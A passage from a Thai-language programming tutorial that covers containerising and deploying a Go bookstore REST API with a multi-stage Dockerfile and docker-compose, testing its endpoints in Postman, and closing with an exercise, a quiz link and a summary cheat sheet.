&#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE42;&#xE2B;&#xE25;&#xE14;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/docker-6.png" class="kg-image" alt loading="lazy" width="2000" height="970" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/docker-6.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/docker-6.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/docker-6.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/docker-6.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Dockerfile &#xE04;&#xE37;&#xE2D; File &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Build Image &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23; Multi-stage Build &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE14;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07; Image &#xE2A;&#xE38;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Deploy</p><p>&#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE08;&#xE30; Build Image &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Base Image &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Compile Code &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Version &#xE02;&#xE2D;&#xE07; Go &#xE08;&#xE32;&#xE01; File &quot;<strong>go.mod</strong>&quot;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-27-at-12.24.36-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1135" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-27-at-12.24.36-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-27-at-12.24.36-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-27-at-12.24.36-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-27-at-12.24.36-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE43;&#xE19; Stage &#xE41;&#xE23;&#xE01;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; golang:1.21.0 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Official Image &#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Maintain &#xE08;&#xE32;&#xE01; Go Team &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Tool &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE10;&#xE32;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Compile Code &#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30; Download Dependency &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go mod download &#xE41;&#xE25;&#xE49;&#xE27; Compile &#xE21;&#xE31;&#xE19;</p><p>&#xE41;&#xE25;&#xE30;&#xE43;&#xE19; Stage &#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE07; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Image alpine:latest &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE19; Web Server</p><figure class="kg-card kg-code-card"><pre><code># Build Stage
FROM golang:1.21.0 AS builder

WORKDIR /app

COPY go.mod go.sum ./
RUN go mod download

COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main ./cmd

# Run Stage
FROM alpine:latest  

RUN apk --no-cache add ca-certificates

WORKDIR /root/

COPY --from=builder /app/main .

ENTRYPOINT [&quot;./main&quot;]</code></pre><figcaption>Dockerfile</figcaption></figure><p>docker-compose.yml<strong><strong> </strong></strong>&#xE04;&#xE37;&#xE2D; File &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Config &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Container</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE1A;&#xE2D;&#xE01;&#xE43;&#xE2B;&#xE49; Docker Compose &#xE42;&#xE2B;&#xE25;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; File &quot;.env&quot; &#xE40;&#xE02;&#xE49;&#xE32; Environment Variable &#xE02;&#xE2D;&#xE07; Container &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Web Server</p><figure class="kg-card kg-code-card"><pre><code>services:
  app:
    build: .
    ports:
      - &quot;${APP_PORT}:${APP_PORT}&quot;
    env_file: .env</code></pre><figcaption>docker-compose.yml</figcaption></figure><p>Deploy Web Server &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; docker-compose up -d</p><pre><code>docker-compose up -d</code></pre><p>&#xE41;&#xE25;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Container &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; docker-compose ps</p><pre><code> docker-compose ps</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-9.58.04-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1179" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-26-at-9.58.04-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-26-at-9.58.04-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-26-at-9.58.04-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-26-at-9.58.04-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; Server &#xE41;&#xE25;&#xE30; Database Connection &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; HTTP Request GET http://localhost:8080/health</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-25-at-17.42.02.png" class="kg-image" alt loading="lazy" width="2000" height="1235" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-25-at-17.42.02.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-25-at-17.42.02.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-25-at-17.42.02.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-25-at-17.42.02.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>GET http://localhost:8080/health</figcaption></figure><p>&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE14;&#xE49;&#xE27;&#xE22; ID 1 &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Database &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; HTTP Request GET http://localhost:8080/api/v1/books/1 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE27;&#xE23;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; Error &quot;book not found&quot; &#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-25-at-17.53.58.png" class="kg-image" alt loading="lazy" width="2000" height="1235" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-25-at-17.53.58.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-25-at-17.53.58.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-25-at-17.53.58.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-25-at-17.53.58.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>GET http://localhost:8080/api/v1/books/1</figcaption></figure><p>&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE14;&#xE49;&#xE27;&#xE22; ID 2 &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE43;&#xE19; Database &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; HTTP Request GET http://localhost:8080/api/v1/books/2 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE27;&#xE23;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-25-at-17.54.36.png" class="kg-image" alt loading="lazy" width="2000" height="1235" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-25-at-17.54.36.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-25-at-17.54.36.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-25-at-17.54.36.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-25-at-17.54.36.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>GET http://localhost:8080/api/v1/books/2</figcaption></figure><p>&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; HTTP Request POST http://localhost:8080/api/v1/books &#xE42;&#xE14;&#xE22;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE1C;&#xE48;&#xE32;&#xE19; Boby &#xE41;&#xE1A;&#xE1A; JSON &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>{
	&quot;title&quot;: &quot;Clean Code&quot;
}</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-25-at-17.58.35.png" class="kg-image" alt loading="lazy" width="2000" height="1362" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-25-at-17.58.35.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-25-at-17.58.35.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-25-at-17.58.35.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-25-at-17.58.35.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>POST http://localhost:8080/api/v1/books</figcaption></figure><p>&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE14;&#xE49;&#xE27;&#xE22; ID 2 &#xE1C;&#xE48;&#xE32;&#xE19; Postman &#xE14;&#xE49;&#xE27;&#xE22; HTTP Request DELETE http://localhost:8080/api/v1/books/2</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-25-at-18.01.17.png" class="kg-image" alt loading="lazy" width="2000" height="1223" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-25-at-18.01.17.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-25-at-18.01.17.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-25-at-18.01.17.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-25-at-18.01.17.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>DELETE http://localhost:8080/api/v1/books/2</figcaption></figure><p>&#xE14;&#xE39; Logs &#xE02;&#xE2D;&#xE07; Web Server &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;&#xE43;&#xE19; Container &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; docker-compose logs</p><pre><code>docker-compose logs</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-25-at-18.02.38.png" class="kg-image" alt loading="lazy" width="2000" height="1270" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-25-at-18.02.38.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-25-at-18.02.38.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-25-at-18.02.38.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-25-at-18.02.38.png 2400w" sizes="(min-width: 720px) 720px"></figure><h3 id="exercise-2"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></h3><p>&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Endpoint &#xE43;&#xE2B;&#xE21;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A; API &#xE23;&#xE49;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE43;&#xE19; Database &#xE42;&#xE14;&#xE22;&#xE21;&#xE35; Endpoint &#xE04;&#xE37;&#xE2D; GET /api/v1/books/count &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE37;&#xE19;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19; JSON &#xE40;&#xE0A;&#xE48;&#xE19; {&quot;count&quot;: 5}</p><p><em><em><a href="https://forms.gle/cAK9xtQAxrukjg1k7?ref=blog.pjjop.org"><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Go Quiz </em></em></em></em></em></em></em></em></em></em></em></em>1</em></em>8</a><em><em><em><em><em><em><em><em><em><em><em><em><em><em> (</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>23 <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%9E%E0%B8%B1%E0%B8%92%E0%B8%99%E0%B8%B2%E0%B9%81%E0%B8%A5%E0%B8%B0-deploy-rest-api-%E0%B8%94%E0%B9%89%E0%B8%A7%E0%B8%A2-go-%E0%B9%81%E0%B8%A5%E0%B8%B0-docker-container"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy REST API &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE41;&#xE25;&#xE30; Docker Container</em></h3><pre><code>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy REST API &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE41;&#xE25;&#xE30; Docker Container
------------------------------------------------------
1. &#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project
   - cmd/main.go        // &#xE08;&#xE38;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07; Application
   - internal/
     - bookstore/       // Business Logic
     - config/          // &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Configuration
     - handlers/        // HTTP Handler
   - .env               // Environment Variable
   - Dockerfile         // &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Build Docker Image
   - docker-compose.yml // &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Container

2. &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;
   - &#xE43;&#xE0A;&#xE49; Viper &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32; Environment Variable
   - viper.AutomaticEnv()
   - viper.SetEnvKeyReplacer(strings.NewReplacer(&quot;.&quot;, &quot;_&quot;))
   - viper.GetString(&quot;KEY&quot;), viper.GetInt(&quot;KEY&quot;)

3. &#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; Database
   - sql.Open(&quot;postgres&quot;, connStr) // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;
   - db.Ping() // &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;
   - defer db.Close() // &#xE1B;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;
   - &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Connection Pool&#xE40;&#xE0A;&#xE48;&#xE19;
     db.SetMaxOpenConns(25)
     db.SetMaxIdleConns(25)
     db.SetConnMaxLifetime(5 * time.Minute)

4. Business Logic (bookstore.go)
   - &#xE41;&#xE22;&#xE01;Business Logic &#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE42;&#xE04;&#xE49;&#xE14;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22; &#xE14;&#xE39;&#xE41;&#xE25;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE07;&#xE48;&#xE32;&#xE22;
   - GetBook(ctx, id) // &#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
   - AddBook(ctx, title) // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
   - DeleteBook(ctx, id) // &#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
   - Ping() // &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; Database

5. HTTP Handler (book_handlers.go)
   - &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; HTTP requests, &#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; business logic
   - GetBook(c *gin.Context)
   - AddBook(c *gin.Context)
   - DeleteBook(c *gin.Context)
   - HealthCheck(c *gin.Context)

6. Gin Framework Routing (main.go)
   - r := gin.Default()
   - r.GET(&quot;/health&quot;, h.HealthCheck)
   - v1 := r.Group(&quot;/api/v1&quot;) // &#xE41;&#xE22;&#xE01; API versions &#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;
   - v1.GET(&quot;/books/:id&quot;, h.GetBook)
   - v1.POST(&quot;/books&quot;, h.AddBook)
   - v1.DELETE(&quot;/books/:id&quot;, h.DeleteBook)

7. Unit Test (book_handlers_test.go)
   - &#xE43;&#xE0A;&#xE49; MockBookDatabase &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; Database
   - &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; handlers &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; DB &#xE08;&#xE23;&#xE34;&#xE07;
   - &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; GetBook, AddBook, DeleteBook, HealthCheck
   - httptest.NewRecorder() // &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; HTTP response
   - gin.CreateTestContext() // &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Test Context

8. Docker
   - &#xE43;&#xE0A;&#xE49; Docker &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21;&#xE17;&#xE35;&#xE48;&#xE41;&#xE19;&#xE48;&#xE19;&#xE2D;&#xE19; &#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23; Deploy
   - Dockerfile // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; image &#xE41;&#xE1A;&#xE1A; multi-stage build
   - docker-compose.yml // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Container

9. &#xE01;&#xE32;&#xE23; Deploy
   - docker-compose up -d
   - docker-compose ps
   - docker-compose logs

10. API Endpoints
    - GET /health
    - GET /api/v1/books/:id
    - POST /api/v1/books
    - DELETE /api/v1/books/:id</code></pre><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE48;&#xE32;&#xE19;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE17;&#xE33; Workshop &#xE04;&#xE23;&#xE1A;&#xE17;&#xE31;&#xE49;&#xE07; 4 Part &#xE23;&#xE27;&#xE21; 19 Chapter &#xE41;&#xE25;&#xE49;&#xE27; 